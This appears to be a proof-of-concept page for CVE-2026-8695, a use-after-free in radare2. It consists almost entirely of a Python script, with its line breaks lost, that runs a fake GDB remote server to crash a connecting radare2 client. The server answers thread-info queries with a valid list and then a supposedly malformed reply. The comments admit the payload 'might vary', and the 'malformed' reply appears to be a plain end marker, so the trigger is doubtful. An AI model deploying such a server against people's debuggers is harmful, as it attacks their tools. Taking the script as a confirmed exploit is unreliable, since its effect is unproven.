CVE-2026-8695 radare2释放后重用漏洞

import socket import time def malicious_gdb_server(host='0.0.0.0', port=9999): """ Simulates a malicious GDB server to trigger CVE-2026-8695. It sends a valid qfThreadInfo followed by a malformed qsThreadInfo. """ server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen(1) print(f"[*] Malicious GDB server listening on {host}:{port}") conn, addr = server.accept() print(f"[*] Connection accepted from {addr}") try: # Basic GDB handshake conn.recv(1024) # Receive ack conn.send(b"+") # Send ack while True: data = conn.recv(1024) if not data: break print(f"[*] Received: {data}") # Check for thread info queries if b"qfThreadInfo" in data: # Send valid qfThreadInfo response (list of threads) # Format: m<tid>,m<tid>...l payload = b"m1,m2,m3l" checksum = sum(payload) % 256 packet = b"$" + payload + b"#" + f"{checksum:02x}".encode() conn.send(packet) print(f"[+] Sent valid qfThreadInfo") elif b"qsThreadInfo" in data: # Send malformed qsThreadInfo response to trigger UAF # Sending an unexpected or malformed packet structure # This specific payload might vary based on exact parser logic, # but generally involves breaking the expected list continuation. malformed_payload = b"l" # Just end marker or garbage checksum = sum(malformed_payload) % 256 packet = b"$" + malformed_payload + b"#" + f"{checksum:02x}".encode() conn.send(packet) print(f"[+] Sent malformed qsThreadInfo to trigger UAF") # Keep connection open briefly to observe crash time.sleep(1) break else: conn.send(b"+") # Ack other packets except Exception as e: print(f"[-] Error: {e}") finally: conn.close() server.close() if __name__ == "__main__": malicious_gdb_server()